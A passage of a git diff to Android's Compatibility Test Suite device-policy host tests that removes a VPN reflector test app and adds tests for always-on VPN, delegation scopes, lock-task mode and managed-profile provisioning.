+ assertProvisioningSucceeds(createProvisioningIntent());
+ }
+
+ private Intent createProvisioningIntent() {
+ return new Intent(ACTION_PROVISION_MANAGED_PROFILE)
+ .putExtra(EXTRA_PROVISIONING_SKIP_ENCRYPTION, true)
+ .putExtra(EXTRA_PROVISIONING_DEVICE_ADMIN_PACKAGE_NAME, ADMIN_RECEIVER_PACKAGE);
+ }
+
+ private void assertProvisioningSucceeds(Intent intent) throws InterruptedException {
+ SilentProvisioningTestManager provisioningMgr = new SilentProvisioningTestManager(mContext);
+ assertTrue(provisioningMgr.startProvisioningAndWait(intent));
+ }
+}
diff --git a/hostsidetests/devicepolicy/app/VpnApp/Android.mk b/hostsidetests/devicepolicy/app/VpnApp/Android.mk
deleted file mode 100644
index 8963230..0000000
--- a/hostsidetests/devicepolicy/app/VpnApp/Android.mk
+++ /dev/null
@@ -1,34 +0,0 @@
-# Copyright (C) 2016 The Android Open Source Project
-#
-# Licensed under the Apache License, Version 2.0 (the "License");
-# you may not use this file except in compliance with the License.
-# You may obtain a copy of the License at
-#
-# http://www.apache.org/licenses/LICENSE-2.0
-#
-# Unless required by applicable law or agreed to in writing, software
-# distributed under the License is distributed on an "AS IS" BASIS,
-# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
-# See the License for the specific language governing permissions and
-# limitations under the License.
-
-LOCAL_PATH:= $(call my-dir)
-
-include $(CLEAR_VARS)
-
-LOCAL_PACKAGE_NAME := CtsVpnFirewallApp
-
-LOCAL_MODULE_TAGS := optional
-
-LOCAL_MODULE_PATH := $(TARGET_OUT_DATA_APPS)
-
-LOCAL_SRC_FILES := $(call all-java-files-under, src)
-
-LOCAL_JAVA_LIBRARIES := android.test.runner
-
-LOCAL_SDK_VERSION := current
-
-# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
-
-include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/VpnApp/AndroidManifest.xml b/hostsidetests/devicepolicy/app/VpnApp/AndroidManifest.xml
deleted file mode 100644
index ea1a001..0000000
--- a/hostsidetests/devicepolicy/app/VpnApp/AndroidManifest.xml
+++ /dev/null
@@ -1,31 +0,0 @@
-<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2016 The Android Open Source Project
-
- Licensed under the Apache License, Version 2.0 (the "License");
- you may not use this file except in compliance with the License.
- You may obtain a copy of the License at
-
- http://www.apache.org/licenses/LICENSE-2.0
-
- Unless required by applicable law or agreed to in writing, software
- distributed under the License is distributed on an "AS IS" BASIS,
- WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- See the License for the specific language governing permissions and
- limitations under the License.
--->
-
-<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="com.android.cts.vpnfirewall">
-
- <uses-sdk android:minSdkVersion="22"/>
-
- <application>
- <service android:name=".ReflectorVpnService"
- android:permission="android.permission.BIND_VPN_SERVICE">
- <intent-filter>
- <action android:name="android.net.VpnService"/>
- </intent-filter>
- </service>
- </application>
-
-</manifest>
diff --git a/hostsidetests/devicepolicy/app/VpnApp/src/com/android/cts/vpnfirewall/ReflectorVpnService.java b/hostsidetests/devicepolicy/app/VpnApp/src/com/android/cts/vpnfirewall/ReflectorVpnService.java
deleted file mode 100644
index edd9de6..0000000
--- a/hostsidetests/devicepolicy/app/VpnApp/src/com/android/cts/vpnfirewall/ReflectorVpnService.java
+++ /dev/null
@@ -1,176 +0,0 @@
-/*
- * Copyright (C) 2016 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- * http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.vpnfirewall;
-
-import android.R;
-import android.app.Notification;
-import android.app.NotificationChannel;
-import android.app.NotificationManager;
-import android.content.Context;
-import android.content.Intent;
-import android.content.pm.PackageManager.NameNotFoundException;
-import android.net.VpnService;
-import android.os.Bundle;
-import android.os.ParcelFileDescriptor;
-import android.os.UserManager;
-import android.text.TextUtils;
-import android.util.Log;
-
-import java.io.IOException;
-import java.net.InetAddress;
-import java.net.UnknownHostException;
-
-public class ReflectorVpnService extends VpnService {
-
- private static String TAG = "ReflectorVpnService";
- private static final int NOTIFICATION_ID = 1;
- private static final String NOTIFICATION_CHANNEL_ID = TAG;
- private static int MTU = 1799;
-
- private ParcelFileDescriptor mFd = null;
- private PingReflector mPingReflector = null;
-
- public static final String RESTRICTION_ADDRESSES = "vpn.addresses";
- public static final String RESTRICTION_ROUTES = "vpn.routes";
- public static final String RESTRICTION_ALLOWED = "vpn.allowed";
- public static final String RESTRICTION_DISALLOWED = "vpn.disallowed";
-
- @Override
- public int onStartCommand(Intent intent, int flags, int startId) {
- // Put ourself in the foreground to stop the system killing us while we wait for orders from
- // the hostside test.
- NotificationManager notificationManager = getSystemService(NotificationManager.class);
- notificationManager.createNotificationChannel(new NotificationChannel(
- NOTIFICATION_CHANNEL_ID, NOTIFICATION_CHANNEL_ID,
- NotificationManager.IMPORTANCE_DEFAULT));
- startForeground(NOTIFICATION_ID, new Notification.Builder(this, NOTIFICATION_CHANNEL_ID)
- .setSmallIcon(R.drawable.ic_dialog_alert)
- .build());
- start();
- return START_REDELIVER_INTENT;
- }
-
- @Override
- public void onDestroy() {
- stop();
- NotificationManager notificationManager = getSystemService(NotificationManager.class);
- notificationManager.deleteNotificationChannel(NOTIFICATION_CHANNEL_ID);
- super.onDestroy();
- }
-
- private void start() {
- VpnService.prepare(this);
- Builder builder = new Builder();
-
- final UserManager um = (UserManager) getSystemService(Context.USER_SERVICE);
- final Bundle restrictions = um.getApplicationRestrictions(getPackageName());
-
- String[] addressArray = restrictions.getStringArray(RESTRICTION_ADDRESSES);
- if (addressArray == null) {
- // Addresses for IPv4/IPv6 documentation purposes according to rfc5737/rfc3849.
- addressArray = new String[] {"192.0.2.3/32", "2001:db8:1:2::/128"};
- };
- for (int i = 0; i < addressArray.length; i++) {
- String[] prefixAndMask = addressArray[i].split("/");
- try {
- InetAddress address = InetAddress.getByName(prefixAndMask[0]);
- int prefixLength = Integer.parseInt(prefixAndMask[1]);
- builder.addAddress(address, prefixLength);
- } catch (NumberFormatException | UnknownHostException e) {
- Log.w(TAG, "Ill-formed address: " + addressArray[i]);
- continue;
- }
- }
-
- String[] routeArray = restrictions.getStringArray(RESTRICTION_ROUTES);
- if (routeArray == null) {
- routeArray = new String[] {"0.0.0.0/0", "::/0"};
- }
- for (int i = 0; i < routeArray.length; i++) {
- String[] prefixAndMask = routeArray[i].split("/");
- try {
- InetAddress address = InetAddress.getByName(prefixAndMask[0]);
- int prefixLength = Integer.parseInt(prefixAndMask[1]);
- builder.addRoute(address, prefixLength);
- } catch (NumberFormatException | UnknownHostException e) {
- Log.w(TAG, "Ill-formed route: " + routeArray[i]);
- continue;
- }
- }
-
- String[] allowedArray = restrictions.getStringArray(RESTRICTION_ALLOWED);
- if (allowedArray != null) {
- for (int i = 0; i < allowedArray.length; i++) {
- String allowedPackage = allowedArray[i];
- if (!TextUtils.isEmpty(allowedPackage)) {
- try {
- builder.addAllowedApplication(allowedPackage);
- } catch(NameNotFoundException e) {
- Log.w(TAG, "Allowed package not found: " + allowedPackage);
- continue;
- }
- }
- }
- }
-
- String[] disallowedArray = restrictions.getStringArray(RESTRICTION_DISALLOWED);
- if (disallowedArray != null) {
- for (int i = 0; i < disallowedArray.length; i++) {
- String disallowedPackage = disallowedArray[i];
- if (!TextUtils.isEmpty(disallowedPackage)) {
- try {
- builder.addDisallowedApplication(disallowedPackage);
- } catch(NameNotFoundException e) {
- Log.w(TAG, "Disallowed package not found: " + disallowedPackage);
- continue;
- }
- }
- }
- }
-
- builder.setMtu(MTU);
- builder.setBlocking(true);
- builder.setSession(TAG);
-
- mFd = builder.establish();
- if (mFd == null) {
- Log.e(TAG, "Unable to establish file descriptor for VPN connection");
- return;
- }
- Log.i(TAG, "Established, fd=" + mFd.getFd());
-
- mPingReflector = new PingReflector(mFd.getFileDescriptor(), MTU);
- mPingReflector.start();
- }
-
- private void stop() {
- if (mPingReflector != null) {
- mPingReflector.interrupt();
- mPingReflector = null;
- }
- try {
- if (mFd != null) {
- Log.i(TAG, "Closing filedescriptor");
- mFd.close();
- }
- } catch(IOException e) {
- Log.w(TAG, "Closing filedescriptor failed", e);
- } finally {
- mFd = null;
- }
- }
-}
diff --git a/hostsidetests/devicepolicy/app/WidgetProvider/Android.mk b/hostsidetests/devicepolicy/app/WidgetProvider/Android.mk
index 5e5db1e..1a804b8 100644
--- a/hostsidetests/devicepolicy/app/WidgetProvider/Android.mk
+++ b/hostsidetests/devicepolicy/app/WidgetProvider/Android.mk
@@ -27,6 +27,6 @@
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/app/WifiConfigCreator/Android.mk b/hostsidetests/devicepolicy/app/WifiConfigCreator/Android.mk
index 699b476..b03cf95 100644
--- a/hostsidetests/devicepolicy/app/WifiConfigCreator/Android.mk
+++ b/hostsidetests/devicepolicy/app/WifiConfigCreator/Android.mk
@@ -31,6 +31,6 @@
LOCAL_SDK_VERSION := current
# tag this module as a cts test artifact
-LOCAL_COMPATIBILITY_SUITE := cts
+LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
include $(BUILD_CTS_PACKAGE)
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
index 558ae69..8b73762 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/BaseDevicePolicyTest.java
@@ -23,6 +23,7 @@
import com.android.ddmlib.testrunner.TestResult.TestStatus;
import com.android.ddmlib.testrunner.TestRunResult;
import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.CollectingOutputReceiver;
import com.android.tradefed.device.DeviceNotAvailableException;
import com.android.tradefed.log.LogUtil.CLog;
import com.android.tradefed.result.CollectingTestListener;
@@ -78,6 +79,14 @@
protected static final int FLAG_EPHEMERAL = 0x00000100;
protected static final int FLAG_MANAGED_PROFILE = 0x00000020;
+ /**
+ * The {@link android.os.BatteryManager} flags value representing all charging types; {@link
+ * android.os.BatteryManager#BATTERY_PLUGGED_AC}, {@link
+ * android.os.BatteryManager#BATTERY_PLUGGED_USB}, and {@link
+ * android.os.BatteryManager#BATTERY_PLUGGED_WIRELESS}.
+ */
+ private static final int STAY_ON_WHILE_PLUGGED_IN_FLAGS = 7;
+
protected static interface Settings {
public static final String GLOBAL_NAMESPACE = "global";
public static interface Global {
@@ -126,7 +135,7 @@
"settings get global package_verifier_enable");
getDevice().executeShellCommand("settings put global package_verifier_enable 0");
- mFixedUsers = new ArrayList();
+ mFixedUsers = new ArrayList<>();
mPrimaryUserId = getPrimaryUser();
mFixedUsers.add(mPrimaryUserId);
if (mPrimaryUserId != USER_SYSTEM) {
@@ -137,6 +146,9 @@
removeTestUsers();
// Unlock keyguard before test
wakeupAndDismissKeyguard();
+ stayAwake();
+ // Go to home.
+ executeShellCommand("input keyevent KEYCODE_HOME");
}
@Override
@@ -235,8 +247,22 @@
+ getDevice().executeShellCommand(stopUserCommand));
}
- protected void waitForBroadcastIdle() throws Exception {
- getDevice().executeShellCommand("am wait-for-broadcast-idle");
+ private void waitForBroadcastIdle() throws DeviceNotAvailableException {
+ CollectingOutputReceiver receiver = new CollectingOutputReceiver();
+ try {
+ // we allow 8min for the command to complete and 4min for the command to start to
+ // output something
+ getDevice().executeShellCommand(
+ "am wait-for-broadcast-idle", receiver, 8, 4, TimeUnit.MINUTES, 0);
+ } finally {
+ String output = receiver.getOutput();
+ CLog.d("Output from 'am wait-for-broadcast-idle': %s", output);
+ if (!output.contains("All broadcast queues are idle!")) {
+ // the call most likely failed we should fail the test
+ fail("'am wait-for-broadcase-idle' did not complete.");
+ // TODO: consider adding a reboot or recovery before failing if necessary
+ }
+ }
}
protected void removeUser(int userId) throws Exception {
@@ -769,8 +795,30 @@
}
}
+ /**
+ * Verifies the lock credential for the given user, which unlocks the user.
+ *
+ * @param credential The credential to verify.
+ * @param userId The id of the user.
+ */
+ protected void verifyUserCredential(String credential, int userId)
+ throws DeviceNotAvailableException {
+ final String credentialArgument = (credential == null || credential.isEmpty())
+ ? "" : ("--old " + credential);
+ String commandOutput = getDevice().executeShellCommand(String.format(
+ "cmd lock_settings verify --user %d %s", userId, credentialArgument));
+ if (!commandOutput.startsWith("Lock credential verified")) {
+ fail("Failed to verify user credential: " + commandOutput);
+ }
+ }
+
protected void wakeupAndDismissKeyguard() throws Exception {
executeShellCommand("input keyevent KEYCODE_WAKEUP");
executeShellCommand("wm dismiss-keyguard");
}
+
+ private void stayAwake() throws Exception {
+ executeShellCommand(
+ "settings put global stay_on_while_plugged_in " + STAY_ON_WHILE_PLUGGED_IN_FLAGS);
+ }
}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomDeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomDeviceOwnerTest.java
index 4042fd5..be0375c 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomDeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomDeviceOwnerTest.java
@@ -16,6 +16,7 @@
package com.android.cts.devicepolicy;
+import com.android.compatibility.common.util.CddTest;
import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
import com.android.cts.devicepolicy.BaseDevicePolicyTest.Settings;
@@ -103,6 +104,7 @@
}
}
+ @CddTest(requirement="3.9.1.1/C-1-7")
public void testCannotSetDeviceOwnerWhenAccountPresent() throws Exception {
if (!mHasFeature) {
return;
@@ -122,6 +124,7 @@
}
}
+ @CddTest(requirement="3.9.1.1/C-1-6")
public void testIsProvisioningAllowed() throws Exception {
// Must install the apk since the test runs in the DO apk.
installAppAsUser(DEVICE_OWNER_APK, mPrimaryUserId);
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomManagedProfileTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomManagedProfileTest.java
index 51420ea..a990a72 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomManagedProfileTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/CustomManagedProfileTest.java
@@ -17,6 +17,8 @@
import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.compatibility.common.util.CddTest;
+
public class CustomManagedProfileTest extends BaseDevicePolicyTest {
private static final String MANAGED_PROFILE_PKG = "com.android.cts.managedprofile";
@@ -30,6 +32,7 @@
mHasFeature = mHasFeature && hasDeviceFeature("android.software.managed_users");
}
+ @CddTest(requirement="3.9/C-1-3")
public void testIsProvisioningAllowed() throws Exception {
final int primaryUserId = getPrimaryUser();
// Must install the apk since the test runs in the ManagedProfile apk.
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
index 9a2224e..d5aadd0 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceAndProfileOwnerTest.java
@@ -26,7 +26,9 @@
import java.io.FileNotFoundException;
import java.util.ArrayList;
import java.util.Arrays;
+import java.util.Collections;
import java.util.List;
+import java.util.Map;
/**
* Set of tests for use cases that apply to profile and device owner.
@@ -67,6 +69,9 @@
private static final String DELEGATION_CERT_INSTALL = "delegation-cert-install";
private static final String DELEGATION_APP_RESTRICTIONS = "delegation-app-restrictions";
private static final String DELEGATION_BLOCK_UNINSTALL = "delegation-block-uninstall";
+ private static final String DELEGATION_PERMISSION_GRANT = "delegation-permission-grant";
+ private static final String DELEGATION_PACKAGE_ACCESS = "delegation-package-access";
+ private static final String DELEGATION_ENABLE_SYSTEM_APP = "delegation-enable-system-app";
private static final String TEST_APP_APK = "CtsSimpleApp.apk";
private static final String TEST_APP_PKG = "com.android.cts.launcherapps.simpleapp";
@@ -81,6 +86,9 @@
private static final String VPN_APP_PKG = "com.android.cts.vpnfirewall";
private static final String VPN_APP_APK = "CtsVpnFirewallApp.apk";
+ private static final String VPN_APP_API23_APK = "CtsVpnFirewallAppApi23.apk";
+ private static final String VPN_APP_API24_APK = "CtsVpnFirewallAppApi24.apk";
+ private static final String VPN_APP_NOT_ALWAYS_ON_APK = "CtsVpnFirewallAppNotAlwaysOn.apk";
private static final String COMMAND_BLOCK_ACCOUNT_TYPE = "block-accounttype";
private static final String COMMAND_UNBLOCK_ACCOUNT_TYPE = "unblock-accounttype";
@@ -105,6 +113,15 @@
protected static final String ASSIST_INTERACTION_SERVICE =
ASSIST_APP_PKG + "/.MyInteractionService";
+ private static final String ARG_ALLOW_FAILURE = "allowFailure";
+
+ private static final String RESTRICT_BACKGROUND_GET_CMD =
+ "cmd netpolicy get restrict-background";
+ private static final String RESTRICT_BACKGROUND_ON_CMD =
+ "cmd netpolicy set restrict-background true";
+ private static final String RESTRICT_BACKGROUND_OFF_CMD =
+ "cmd netpolicy set restrict-background false";
+
// ID of the user all tests are run as. For device owner this will be the primary user, for
// profile owner it is the user id of the created profile.
protected int mUserId;
@@ -120,6 +137,9 @@
getDevice().uninstallPackage(DELEGATE_APP_PKG);
getDevice().uninstallPackage(ACCOUNT_MANAGEMENT_PKG);
getDevice().uninstallPackage(VPN_APP_PKG);
+ getDevice().uninstallPackage(VPN_APP_API23_APK);
+ getDevice().uninstallPackage(VPN_APP_API24_APK);
+ getDevice().uninstallPackage(VPN_APP_NOT_ALWAYS_ON_APK);
getDevice().uninstallPackage(INTENT_RECEIVER_PKG);
getDevice().uninstallPackage(INTENT_SENDER_PKG);
getDevice().uninstallPackage(CUSTOMIZATION_APP_PKG);
@@ -189,7 +209,10 @@
final String delegationTests[] = {
".AppRestrictionsDelegateTest",
".CertInstallDelegateTest",
- ".BlockUninstallDelegateTest"
+ ".BlockUninstallDelegateTest",
+ ".PermissionGrantDelegateTest",
+ ".PackageAccessDelegateTest",
+ ".EnableSystemAppDelegateTest"
};
// Set a device lockscreen password (precondition for installing private key pairs).
@@ -208,7 +231,10 @@
setDelegatedScopes(DELEGATE_APP_PKG, Arrays.asList(
DELEGATION_APP_RESTRICTIONS,
DELEGATION_CERT_INSTALL,
- DELEGATION_BLOCK_UNINSTALL));
+ DELEGATION_BLOCK_UNINSTALL,
+ DELEGATION_PERMISSION_GRANT,
+ DELEGATION_PACKAGE_ACCESS,
+ DELEGATION_ENABLE_SYSTEM_APP));
runDeviceTestsAsUser(DELEGATE_APP_PKG, ".GeneralDelegateTest", mUserId);
executeDelegationTests(delegationTests, true /* positive result */);
@@ -220,7 +246,7 @@
executeDeviceTestClass(".DelegationTest");
} finally {
- // Clear lockscreen password previously set for installing private key pairs (DO only).
+ // Clear lockscreen password previously set for installing private key pairs.
changeUserCredential(null, "1234", mPrimaryUserId);
// Remove any remaining delegations.
setDelegatedScopes(DELEGATE_APP_PKG, null);
@@ -249,7 +275,7 @@
return;
}
installAppAsUser(VPN_APP_APK, mUserId);
- executeDeviceTestClass(".AlwaysOnVpnTest");
+ executeDeviceTestClassNoRestrictBackground(".AlwaysOnVpnTest");
}
@RequiresDevice
@@ -269,6 +295,32 @@
}
@RequiresDevice
+ public void testAlwaysOnVpnAcrossReboot() throws Exception {
+ // Note: Always-on VPN is supported on non-FBE devices as well, and the behavior should be
+ // the same. However we're only testing the FBE case here as we need to set a device
+ // password during the test. This would cause FDE devices (e.g. angler) to prompt for the
+ // password during reboot, which we can't handle easily.
+ if (!mHasFeature || !mSupportsFbe) {
+ return;
+ }
+
+ // Set a password to encrypt the user
+ final String testPassword = "1234";
+ changeUserCredential(testPassword, null /*oldCredential*/, mUserId);
+
+ try {
+ installAppAsUser(VPN_APP_APK, mUserId);
+ executeDeviceTestMethod(".AlwaysOnVpnMultiStageTest", "testAlwaysOnSet");
+ rebootAndWaitUntilReady();
+ verifyUserCredential(testPassword, mUserId);
+ executeDeviceTestMethod(".AlwaysOnVpnMultiStageTest", "testAlwaysOnSetAfterReboot");
+ } finally {
+ changeUserCredential(null /*newCredential*/, testPassword, mUserId);
+ executeDeviceTestMethod(".AlwaysOnVpnMultiStageTest", "testCleanup");
+ }
+ }
+
+ @RequiresDevice
public void testAlwaysOnVpnPackageUninstalled() throws Exception {
if (!mHasFeature) {
return;
@@ -285,6 +337,49 @@
}
}
+ @RequiresDevice
+ public void testAlwaysOnVpnUnsupportedPackage() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+
+ try {
+ // Target SDK = 23: unsupported
+ installAppAsUser(VPN_APP_API23_APK, mUserId);
+ executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testSetUnsupportedVpnAlwaysOn");
+
+ // Target SDK = 24: supported
+ installAppAsUser(VPN_APP_API24_APK, mUserId);
+ executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testSetSupportedVpnAlwaysOn");
+ executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testClearAlwaysOnVpn");
+
+ // Explicit opt-out: unsupported
+ installAppAsUser(VPN_APP_NOT_ALWAYS_ON_APK, mUserId);
+ executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testSetUnsupportedVpnAlwaysOn");
+ } finally {
+ executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testClearAlwaysOnVpn");
+ }
+ }
+
+ @RequiresDevice
+ public void testAlwaysOnVpnUnsupportedPackageReplaced() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+
+ try {
+ // Target SDK = 24: supported
+ executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testAssertNoAlwaysOnVpn");
+ installAppAsUser(VPN_APP_API24_APK, mUserId);
+ executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testSetSupportedVpnAlwaysOn");
+ // Update the app to target higher API level, but with manifest opt-out
+ installAppAsUser(VPN_APP_NOT_ALWAYS_ON_APK, mUserId);
+ executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testAssertNoAlwaysOnVpn");
+ } finally {
+ executeDeviceTestMethod(".AlwaysOnVpnUnsupportedTest", "testClearAlwaysOnVpn");
+ }
+ }
+
public void testPermissionPolicy() throws Exception {
if (!mHasFeature) {
return;
@@ -712,13 +807,41 @@
// This is the default test for MixedDeviceOwnerTest and MixedProfileOwnerTest,
// MixedManagedProfileOwnerTest overrides this method to execute the same test more strictly
// without allowing failures.
- executeDeviceTestMethod(".ResetPasswordWithTokenTest", "testResetPasswordWithTokenMayFail");
+ executeResetPasswordWithTokenTests(true);
+ }
+
+ public void testPasswordSufficientInitially() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+ executeDeviceTestClass(".PasswordSufficientInitiallyTest");
+ }
+
+ protected void executeResetPasswordWithTokenTests(Boolean allowFailures) throws Exception {
+ runDeviceTestsAsUser(DEVICE_ADMIN_PKG, ".ResetPasswordWithTokenTest", null, mUserId,
+ Collections.singletonMap(ARG_ALLOW_FAILURE, Boolean.toString(allowFailures)));
}
protected void executeDeviceTestClass(String className) throws Exception {
runDeviceTestsAsUser(DEVICE_ADMIN_PKG, className, mUserId);
}
+ /**
+ * Executes a test class on device. Prior to running, turn off background data usage
+ * restrictions, and restore the original restrictions after the test.
+ */
+ protected void executeDeviceTestClassNoRestrictBackground(String className) throws Exception {
+ boolean originalRestriction = ensureRestrictBackgroundPolicyOff();
+ try {
+ executeDeviceTestClass(className);
+ } catch (Exception e) {
+ throw e;
+ } finally {
+ // if the test throws exception, still restore the policy
+ restoreRestrictBackgroundPolicyTo(originalRestriction);
+ }
+ }
+
protected void executeDeviceTestMethod(String className, String testName) throws Exception {
runDeviceTestsAsUser(DEVICE_ADMIN_PKG, className, testName, mUserId);
}
@@ -896,4 +1019,22 @@
protected void clearVoiceInteractionService() throws DeviceNotAvailableException {
getDevice().executeShellCommand("settings delete secure voice_interaction_service");
}
+
+ /**
+ * Ensure that restrict background policy is off.
+ * Returns the original status of restrict background policy.
+ */
+ private boolean ensureRestrictBackgroundPolicyOff() throws Exception {
+ String restriction = getDevice().executeShellCommand(RESTRICT_BACKGROUND_GET_CMD);
+ if (restriction.contains("enabled")) {
+ getDevice().executeShellCommand(RESTRICT_BACKGROUND_OFF_CMD);
+ return true;
+ }
+ return false;
+ }
+
+ private void restoreRestrictBackgroundPolicyTo(boolean restricted) throws Exception {
+ getDevice().executeShellCommand(
+ restricted ? RESTRICT_BACKGROUND_ON_CMD : RESTRICT_BACKGROUND_OFF_CMD);
+ }
}
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
index 827db71..9b6662d 100644
--- a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/DeviceOwnerTest.java
@@ -16,6 +16,8 @@
package com.android.cts.devicepolicy;
+import com.android.compatibility.common.util.CddTest;
+
import java.util.List;
import java.util.concurrent.TimeUnit;
@@ -374,6 +376,35 @@
}
}
+ public void testLockTaskAfterReboot_deviceOwnerUser() throws Exception {
+ if (!mHasFeature) {
+ return;
+ }
+
+ try {
+ // Just start kiosk mode
+ runDeviceTestsAsUser(DEVICE_OWNER_PKG, ".LockTaskHostDrivenTest", "startLockTask",
+ mPrimaryUserId);
+
+ // Reboot while in kiosk mode and then unlock the device
+ getDevice().reboot();
+
+ // Check that kiosk mode is working and can't be interrupted
+ runDeviceTestsAsUser(DEVICE_OWNER_PKG, ".LockTaskHostDrivenTest",
+ "testLockTaskIsActiveAndCantBeInterrupted", mPrimaryUserId);
+
+ // Try to open settings via adb
+ executeShellCommand("am start -a android.settings.SETTINGS");
+
+ // Check again
+ runDeviceTestsAsUser(DEVICE_OWNER_PKG, ".LockTaskHostDrivenTest",
+ "testLockTaskIsActiveAndCantBeInterrupted", mPrimaryUserId);
+ } finally {
+ runDeviceTestsAsUser(DEVICE_OWNER_PKG, ".LockTaskHostDrivenTest",
+ "clearDefaultHomeIntentReceiver", mPrimaryUserId);
+ }
+ }
+
public void testLockTask_unaffiliatedUser() throws Exception {
if (!mHasFeature || !canCreateAdditionalUsers(1)) {
return;
@@ -411,6 +442,7 @@
setProfileOwnerOrFail(DEVICE_OWNER_COMPONENT, userId);
switchUser(userId);
+ wakeupAndDismissKeyguard();
// Setting the same affiliation ids on both users and running the lock task tests.
runDeviceTestsAsUser(
@@ -525,6 +557,7 @@
executeDeviceOwnerTest("BluetoothRestrictionTest");
}
+ @CddTest(requirement="3.9.1.1/C-1-4")
public void testDeviceOwnerProvisioning() throws Exception {
if (!mHasFeature) {
return;
@@ -578,4 +611,4 @@
runDeviceTestsAsUser(DEVICE_OWNER_PKG, className, testName,
/* deviceOwnerUserId */ mPrimaryUserId);
}
-}
+}
\ No newline at end of file
diff --git a/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningSingleAdminTest.java b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningSingleAdminTest.java
new file mode 100644
index 0000000..ef7099b
--- /dev/null
+++ b/hostsidetests/devicepolicy/src/com/android/cts/devicepolicy/ManagedProfileProvisioningSingleAdminTest.java
@@ -0,0 +1,68 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License
+ */
+package com.android.cts.devicepolicy;
+
+import org.junit.Test;
+
+/**
+ * This class tests the provisioning flow with an APK that declares a single receiver with
+ * BIND_DEVICE_ADMIN permissions, which was a requirement for the app sending the
+ * ACTION_PROVISION_MANAGED_PROFILE intent before Android M.
+ */
+public class ManagedProfileProvisioningSingleAdminTest extends BaseDevicePolicyTest {
+
+ private static final String SINGLE_ADMIN_PKG = "com.android.cts.devicepolicy.singleadmin";
+ private static final String SINGLE_ADMIN_APP_APK = "CtsDevicePolicySingleAdminTestApp.apk";
+
+ private int mProfileUserId;
+
+ @Override
+ protected void setUp() throws Exception {
+ super.setUp();
+
+ // We need multi user to be supported in order to create a profile of the user owner.
+ mHasFeature = mHasFeature && hasDeviceFeature("android.software.managed_users");
+
+ if (mHasFeature) {
+ removeTestUsers();
+ installAppAsUser(SINGLE_ADMIN_APP_APK, mPrimaryUserId);
+ mProfileUserId = 0;
+ }
+ }
+
+ @Override
+ protected void tearDown() throws Exception {
+ if (mHasFeature) {
+ if (mProfileUserId != 0) {
+ removeUser(mProfileUserId);
+ }
+ getDevice().uninstallPackage(SINGLE_ADMIN_PKG);
